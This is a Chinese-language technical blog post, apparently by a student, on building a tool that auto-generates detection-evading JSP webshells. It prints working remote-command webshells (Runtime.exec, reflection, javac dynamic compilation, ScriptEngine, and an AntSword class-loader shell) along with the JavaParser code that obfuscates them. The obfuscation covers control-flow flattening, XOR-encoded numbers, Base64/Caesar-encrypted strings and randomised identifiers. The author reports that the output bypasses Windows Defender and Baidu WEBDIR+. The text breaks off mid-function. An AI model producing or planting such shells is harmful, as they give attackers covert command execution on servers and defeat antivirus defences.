0x00 简介
前段时间笔者在研究AST相关技术和JS的混淆技巧,无意间想到,能否将一些技术和思路应用在Webshell的免杀呢?
于是尝试编写了一个自动生成免杀Webshell的工具。
笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!
0x01 从一句话开始
首先从一句话角度来做,给出JSP的一句话
这个Webshell是会直接被Windows Defender
杀的,百度WEBDIR+
也会杀
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
尝试拆开一句话,再加入回显和消除乱码,得到这样的代码
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
// 回显
out.print("<pre>");
// 网上流传的回显代码略有问题,建议采用这种方式
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
绕过了Windows Defender
和百度WEBDIR+
然而我们不能满足于当前的情况,因为这些平台的查杀力度并不是很强
再这个基础上,可以加入反射调用来做进一步的免杀
<%@ page language="java" pageEncoding="UTF-8" %>
<%
// 加入一个密码
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
if (!passwd.equals(PASSWORD)) {
return;
}
// 反射调用
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
// 类似上文做回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
以上的情况其实已经做到了足够的免杀,但是否能够进一步做免杀呢
0x02 控制流平坦化
在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢
(对于控制流平坦化的概念笔者其实并不是非常清晰,大致来说就是将代码转为switch块和分发器)
// 这里给出的是规定顺序的分发器
String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");
int index = 0;
String passwd = null;
String cmd = null;
Class rt = null;
java.lang.reflect.Method gr = null;
java.lang.reflect.Method ex = null;
Process process = null;
java.io.InputStream in = null;
java.io.InputStreamReader resulutReader = null;
java.io.BufferedReader stdInput = null;
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0:
passwd = request.getParameter("pwd");
break;
case 1:
cmd = request.getParameter("cmd");
break;
case 2:
if (!passwd.equals(PASSWORD)) {
return;
}
break;
case 3:
rt = Class.forName("java.lang.Runtime");
break;
case 4:
gr = rt.getMethod("getRuntime");
break;
case 5:
ex = rt.getMethod("exec", String.class);
break;
case 6:
process = (Process) ex.invoke(gr.invoke(null), cmd);
break;
case 7:
in = process.getInputStream();
break;
case 8:
out.print("<pre>");
break;
case 9:
resulutReader = new java.io.InputStreamReader(in);
break;
case 10:
stdInput = new java.io.BufferedReader(resulutReader);
case 11:
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
break;
case 12:
out.print("</pre>");
break;
}
}
注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12
这样的字符串,其中数字的顺序对应了switch
块中的执行顺序
在进入switch
之前,需要实现声明变量,否则在Java的语法下,单一case
语句的变量无法被其他case
语句获取
当执行完命令后,变量index
会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况
然而在这种情况下,分发器中的数字顺序是一定的,case
块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀
笔者使用了Java的AST库JavaParser
解析代码并实现这样的功能
if (target instanceof StringLiteralExpr) {
// StringLiteralExpr对象就是简单的字符串
String value = ((StringLiteralExpr) target).getValue();
// 如果包含了这个符号认为是分发器
if (value.contains("|")) {
String[] a = value.split("\\|");
int length = a.length;
// 一个简单的数组打乱算法
for (int i = length; i > 0; i--) {
int randInd = rand.nextInt(i);
String temp = a[randInd];
a[randInd] = a[i - 1];
a[i - 1] = temp;
}
// 打乱后的数字再用|拼起来
StringBuilder sb = new StringBuilder();
for (String s : a) {
sb.append(s).append("|");
}
String finalStr = sb.toString();
finalStr = finalStr.substring(0, finalStr.length() - 1);
// 打乱后的分发器设置回去
((StringLiteralExpr) target).setValue(finalStr);
result = finalStr;
}
}
打乱switch-case
块的代码
String[] a = target.split("\\|");
// 得到Switch语句为了后文的替换
SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
method.findFirst(SwitchStmt.class).get() : null;
if (stmt == null) {
return;
}
// 得到所有的Case块
List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);
for (int i = 0; i < entryList.size(); i++) {
// Case块的Label是数字
if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
// 拿到具体的数字对象IntegerLiteralExpr
IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
// 设置为分发器对应的顺序数字
expr.setValue(a[i]);
}
}
// 打乱Case块集合
NodeList<SwitchEntry> switchEntries = new NodeList<>();
Collections.shuffle(entryList);
switchEntries.addAll(entryList);
// 塞回原来的Switch中
stmt.setEntries(switchEntries);
经过打乱后的效果还是比较满意的
String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
String[] b = dispenserArr.split("\\|");
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case 11:
gr = rt.getMethod("getRuntime");
break;
case 0:
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
break;
case 5:
stdInput = new java.io.BufferedReader(resulutReader);
case 12:
resulutReader = new java.io.InputStreamReader(in);
break;
case 4:
rt = Class.forName("java.lang.Runtime");
break;
...
}
}
0x03 异或加密数字
异或加密很简单:a^b=c
那么a^c=b
如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a
对于其中的数字,可以采用异或加密,并可以使用多重
而笔者发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?
把字符串变量都提到全局数组,然后用数组访问的方式使用字符串
String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
"getRuntime", "exec", "<pre>", "</pre>"};
String temp = globalArr[0];
String[] b = temp.split("\\|");
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0:
passwd = request.getParameter(globalArr[1]);
break;
case 1:
cmd = request.getParameter(globalArr[2]);
break;
...
}
}
这时候的globalArr[1]
调用方式就可以用异或加密了
Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 遍历所有的简单数字对象
List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);
for (IntegerLiteralExpr i : integers) {
// 原来的数字a
int value = Integer.parseInt(i.getValue());
// 随机的数字b
int key = random.nextInt(1000000) + 1000000;
// c=a^b
int cipherNum = value ^ key;
// 用一个括号包裹a^b防止异常
EnclosedExpr enclosedExpr = new EnclosedExpr();
BinaryExpr binaryExpr = new BinaryExpr();
// 构造一个c^b
binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
binaryExpr.setOperator(BinaryExpr.Operator.XOR);
// 塞回去
enclosedExpr.setInner(binaryExpr);
i.replace(enclosedExpr);
}
双重异或加密后的效果
String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>" };
String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
...
int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
break;
case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
break;
case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
resulutReader = new java.io.InputStreamReader(in);
break;
...
}
}
0x04 恺撒加密字符串
还剩一部,其中提取的globalArr
中的字符串是明文的
加密的算法必须是可逆的,因为在执行的时候需要取出来还原
由于恺撒加密无法对特殊字符加密,所以笔者最终选择了Base64加恺撒加密的做法
给出网上找到的算法,在这个基础上做了修改
// 加密算法
public static String encryption(String str, int offset) {
char c;
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + offset) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + offset) % 26 + 'A');
} else if (c >= '0' && c <= '9') {
c = (char) (((c - '0') + offset) % 10 + '0');
} else {
str1 = new StringBuilder(str);
break;
}
str1.append(c);
}
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
}
// 需要嵌入JSP的解密算法
public static String dec(String str, int offset) {
try {
// 先Base64解码
byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
str = new String(code);
char c;
// 然后尝试恺撒密码解密
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
} else if (c >= '0' && c <= '9') {
c = (char) (((c - '0') - offset + 10) % 10 + '0');
} else {
str1 = new StringBuilder(str);
break;
}
str1.append(c);
}
String result = str1.toString();
// 处理特殊情况
result = result.replace("\\\"","\"");
result = result.replace("\\n","\n");
return result;
} catch (Exception ignored) {
return "";
}
}
注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP
Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 随机偏移
int offset = random.nextInt(9) + 1;
// 得到字符串
List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);
for (StringLiteralExpr s : stringList) {
if (s.getParentNode().isPresent()) {
// 如果是数组中的字符串
if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
// 进行加密
String encode = EncodeUtil.encryption(s.getValue(), offset);
// 可能会有意外的换行
encode = encode.replace(System.getProperty("line.separator"), "");
// 设置回去
s.setValue(encode);
}
}
}
// 记录偏移量
return offset;
重点来了,在被加密的字符串调用的时候需要添加上解密函数
public static void changeRef(MethodDeclaration method, int offset) {
// 所有的数组访问对象
List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);
for (ArrayAccessExpr expr : arrayExpr) {
// 如果访问的是globalArr
if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
// 造一个方法调用对象,调用的是解密dec方法
MethodCallExpr methodCallExpr = new MethodCallExpr();
methodCallExpr.setName("dec");
methodCallExpr.setScope(null);
// dec方法参数需要是NodeList对象
NodeList<Expression> nodeList = new NodeList<>();
ArrayAccessExpr a = new ArrayAccessExpr();
a.setName(expr.getName());
a.setIndex(expr.getIndex());
// 第一个参数为原来的数组调用
nodeList.add(a);
// 记录的offset需要传入第二个参数
IntegerLiteralExpr intValue = new IntegerLiteralExpr();
// 塞回去
intValue.setValue(String.valueOf(offset));
nodeList.add(intValue);
methodCallExpr.setArguments(nodeList);
expr.replace(methodCallExpr);
}
}
}
处理后的结果,结合异或加密来看效果很不错
String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
...
while (true) {
int op = Integer.parseInt(b[index++]);
switch(op) {
case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
break;
break;
case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
break;
case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
break;
...
}
}
0x05 标识符随机命名
还差一步,需要对其中所有的标识符进行随机命名
这一步不难
Map<String,String> vas = new HashMap<>();
// 所有的变量声明
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
// 将变量名都随机修改
String newName = RandomUtil.getRandomString(20);
// 注意记录变量的映射关系
vas.put(va.getNameAsString(), newName);
va.setName(newName);
}
// 需要修改引用到该变量的变量名
method.findAll(NameExpr.class).forEach(n->{
// 修改引用
if(vas.containsKey(n.getNameAsString())){
n.setName(vas.get(n.getNameAsString()));
}
});
0x06 最终结果
最后还需要在开头的地方塞入解密方法,而解密方法也可以进行除了恺撒加密这一步意外的其他手段
反射调用Webshell的例子经过处理后,最终的结果如下
<%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) {
try {
byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
str = new String(RdhWGkNRTHraMoNXnbqd);
char tBUyKgoXbsPvSsCJSufs;
StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder();
for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) {
tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo);
if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') {
tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a');
} else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') {
tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A');
} else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') {
tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0');
} else {
RsYpziowqWZoOiHwzNsD = new StringBuilder(str);
break;
}
RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs);
}
String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString();
TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\"");
TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n");
return TCdtxqdRtUvCZbefvpib;
} catch (Exception ignored) {
return "";
}
}%><%
try {
String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" };
String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074)));
String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|");
int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930));
String llbDKgUNpIZeFFzrADVc = null;
String DnyFyfbKEMRubCuIJCGT = null;
Class sdyNhFJrytFWBVFtHBAW = null;
java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null;
java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null;
Process PqYHaydLQrLSTEejmXPC = null;
java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null;
java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null;
java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null;
byte[] FyRwKNOxPNyWZqTioayh = null;
while (true) {
int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]);
switch(ckwcNOWaQwslAqKXsBXS) {
case ((130619 ^ 1310711) ^ (16539 ^ 1196378)):
SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream();
break;
case ((70158 ^ 1439183) ^ (936575 ^ 1748408)):
out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629))));
break;
case ((791991 ^ 1721991) ^ (276318 ^ 1205350)):
OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC);
break;
case ((994327 ^ 1996681) ^ (272624 ^ 1405797)):
sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412))));
break;
case ((660296 ^ 1894086) ^ (864030 ^ 1825429)):
out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010))));
break;
case ((314344 ^ 1957918) ^ (171737 ^ 1815843)):
ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl);
case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)):
FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))];
break;
case ((840786 ^ 1964027) ^ (75706 ^ 1049616)):
llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917))));
break;
case ((472276 ^ 1989936) ^ (960482 ^ 1560079)):
if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) {
return;
}
break;
case ((405394 ^ 1254229) ^ (606815 ^ 1855135)):
DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790))));
break;
case ((766303 ^ 1441376) ^ (438729 ^ 1638140)):
IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583))));
break;
case ((93071 ^ 1493750) ^ (108351 ^ 1443399)):
PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT);
break;
case ((480088 ^ 1200421) ^ (422292 ^ 1274859)):
String VzWBitUpHtiNHjloSSoh = null;
while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) {
out.println(VzWBitUpHtiNHjloSSoh);
}
break;
case ((492345 ^ 1552686) ^ (791819 ^ 1845016)):
vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class);
break;
}
}
} catch (Exception ignored) {
}
%>
0x07 Javac动态编译
三梦师傅提供的Javac动态编译免杀马也可以进一步处理,在工具中已经实现
其中append很多字符串而不直接写,为了更好地恺撒加密和异或加密
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.DiagnosticCollector" %>
<%@ page import="java.util.Locale" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="javax.tools.StandardJavaFileManager" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.io.File" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
String PASSWORD = "password";
String cmd = request.getParameter("cmd");
String pwd = request.getParameter("pwd");
if (!pwd.equals(PASSWORD)) {
return;
}
String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector diagnostics = new DiagnosticCollector();
StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
int id = new Random().nextInt(10000000);
StringBuilder stringBuilder = new StringBuilder()
.append("import java.io.BufferedReader;\n")
.append("import java.io.IOException;\n")
.append("import java.io.InputStream;\n")
.append("import java.io.InputStreamReader;\n")
.append("public class Evil" + id + " {\n")
.append(" public static String result = \"\";\n")
.append(" public Evil" + id + "() throws Throwable {\n")
.append(" StringBuilder stringBuilder = new StringBuilder();\n")
.append(" try {")
.append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader" +
"(Runtime.getRuntime().exec(\"" + cmd + "\").getInputStream()));\n")
.append(" String line;\n")
.append(" while((line = bufferedReader.readLine()) != null) {\n")
.append(" stringBuilder.append(line).append(\"\\n\");\n")
.append(" }\n")
.append(" result = stringBuilder.toString();\n")
.append(" } catch (Exception e) {\n")
.append(" e.printStackTrace();\n")
.append(" }\n")
.append(" throw new Throwable(stringBuilder.toString());")
.append(" }\n")
.append("}");
Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
try {
new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
} catch (Throwable e) {
response.getWriter().print("<pre>" + e.getMessage() + "</pre>");
}
%>
0x08 ScriptEngine免杀
参考天下大木头师傅的ScriptEngine调用JS免杀马也在工具中完成了进一步的免杀
其中append很多字符串而不直接写,一方面为了更好地恺撒加密和异或加密,另外考虑是防止java.lang.Runtime
这样的黑名单检测
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String PASSWORD = "password";
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
engine.put("request",request);
String pwd = request.getParameter("pwd");
if(!pwd.equals(PASSWORD)){
return;
}
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("function test(){")
.append("try {\n")
.append(" load(\"nashorn:mozilla_compat.js\");\n")
.append("} catch (e) {}\n")
.append("importPackage(Packages.java.lang);\n")
.append("var cmd = request.getParameter(\"cmd\");")
.append("var x=java/****/.lang./****/Run")
.append("time./****")
.append("/getRunti")
.append("me()/****/.exec(cmd);")
.append("return x.getInputStream();};")
.append("test();");
java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
StringBuilder outStr = new StringBuilder();
response.getWriter().print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
outStr.append(s + "\n");
}
response.getWriter().print(outStr.toString());
response.getWriter().print("</pre>");
%>
0x09 蚁剑免杀
这应该是比较重要的一环,笔者尝试用了以上的方法和一些其他手段,最后实现了这样的蚁剑马,不知道免杀效果如何
原来的马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
免杀后
<%!
class VGakJDyicU extends ClassLoader {
VGakJDyicU(ClassLoader sjqhdnqocals) {
super(sjqhdnqocals);
for (int ZCzmllUXtVEeZskSMJEz = (1263180 ^ 1263180); ZCzmllUXtVEeZskSMJEz < (1863338 ^ 1863328); ZCzmllUXtVEeZskSMJEz++) {
if (ZCzmllUXtVEeZskSMJEz == (1988769 ^ 1988776)) {
break;
}
}
}
private int dsaENLANCL() {
for (int yoMmmGPWAtcOBiAgCUWX = ((259959 ^ 1197627) ^ (206306 ^ 1217710)); yoMmmGPWAtcOBiAgCUWX < ((343431 ^ 1794195) ^ (966919 ^ 1088537)); yoMmmGPWAtcOBiAgCUWX++) {
if (yoMmmGPWAtcOBiAgCUWX == ((134011 ^ 1675804) ^ (770157 ^ 1071363))) {
break;
}
}
return ((485255 ^ 1246863) ^ (156062 ^ 1441942));
}
public Class qwer(byte[] dqwbdjk) {
if (dqwbdjk.length == ((2069908 ^ 1078641) ^ (1784881 ^ 1367216))) {
for (int GsuWImCilISonbpTyZui = ((636131 ^ 1142979) ^ (124627 ^ 1647347)); GsuWImCilISonbpTyZui < ((579438 ^ 1670906) ^ (348300 ^ 1374482)); GsuWImCilISonbpTyZui++) {
if (GsuWImCilISonbpTyZui == ((13479 ^ 1889100) ^ (611430 ^ 1422212))) {
break;
}
}
}
int ercCqJlVzFqfCyrEabcm = dqwbdjk.length;
if (ercCqJlVzFqfCyrEabcm > ((330429 ^ 1925916) ^ (741991 ^ 1260492))) {
for (int llcdjrZGNEWQaALQAsUR = ((207275 ^ 1682785) ^ (184435 ^ 1594553)); llcdjrZGNEWQaALQAsUR < ((206607 ^ 1213855) ^ (1981517 ^ 1023703)); llcdjrZGNEWQaALQAsUR++) {
if (llcdjrZGNEWQaALQAsUR == ((328245 ^ 1533470) ^ (510359 ^ 1420725))) {
break;
}
}
}
byte[] YwAvyJBZdbTBZbQhcBwH = dqwbdjk;
Class TaoMNcEEzcdFDzvxRtCB = super.defineClass(YwAvyJBZdbTBZbQhcBwH, ((396500 ^ 1437237) ^ (289123 ^ 1543042)), YwAvyJBZdbTBZbQhcBwH.length);
if (TaoMNcEEzcdFDzvxRtCB.isInterface()) {
TaoMNcEEzcdFDzvxRtCB.getName();
}
return TaoMNcEEzcdFDzvxRtCB;
}
}
%><%!
public static byte[] base64Decode(String str) throws Exception {
String[] globalArr = new String[]{"c3VuLm1pc2MuQkFTRTY0RGVjb2Rlcg==", "aGlnc2hpRnlqaml2", "amF2YS51dGlsLkJhc2U2NA==", "a2l4SGlnc2hpdg==", "aGlnc2hp"};
try {
Class clazz = Class.forName(dec(globalArr[((0 ^ 1345535) ^ (715040 ^ 1994463))], ((600797 ^ 1524742) ^ (207413 ^ 1918186))));
return (byte[]) clazz.getMethod(dec(globalArr[((948015 ^ 1651496) ^ (182287 ^ 1412105))], ((769795 ^ 1506285) ^ (688088 ^ 1522482))), String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName(dec(globalArr[((797587 ^ 1382585) ^ (127362 ^ 1622698))], ((582194 ^ 1928767) ^ (636958 ^ 1848343))));
Object decoder = clazz.getMethod(dec(globalArr[((664470 ^ 1890424) ^ (1680902 ^ 1007083))], ((1485 ^ 1523451) ^ (346165 ^ 1209095)))).invoke(null);
return (byte[]) decoder.getClass().getMethod(dec(globalArr[((554945 ^ 1929084) ^ (225411 ^ 1468474))], ((682491 ^ 1223509) ^ (148392 ^ 1736962))), String.class).invoke(decoder, str);
}
}
%><%!
public static String dec(String str, int offset) {
try {
byte[] MQgbKJrvmvUNiACWzYhP = new sun.misc.BASE64Decoder().decodeBuffer(str);
str = new String(MQgbKJrvmvUNiACWzYhP);
char rKfCgregXvByjCvhxRxW;
StringBuilder UJmcHvuZzxZueglvhEXj = new StringBuilder();
for (int IEQwwpVvaGzMUAxhssQF = (1825797 ^ 1825797); IEQwwpVvaGzMUAxhssQF < str.length(); IEQwwpVvaGzMUAxhssQF++) {
rKfCgregXvByjCvhxRxW = str.charAt(IEQwwpVvaGzMUAxhssQF);
if (rKfCgregXvByjCvhxRxW >= 'a' && rKfCgregXvByjCvhxRxW <= 'z') {
rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'a') - offset + (1474946 ^ 1474968)) % (1398627 ^ 1398649) + 'a');
} else if (rKfCgregXvByjCvhxRxW >= 'A' && rKfCgregXvByjCvhxRxW <= 'Z') {
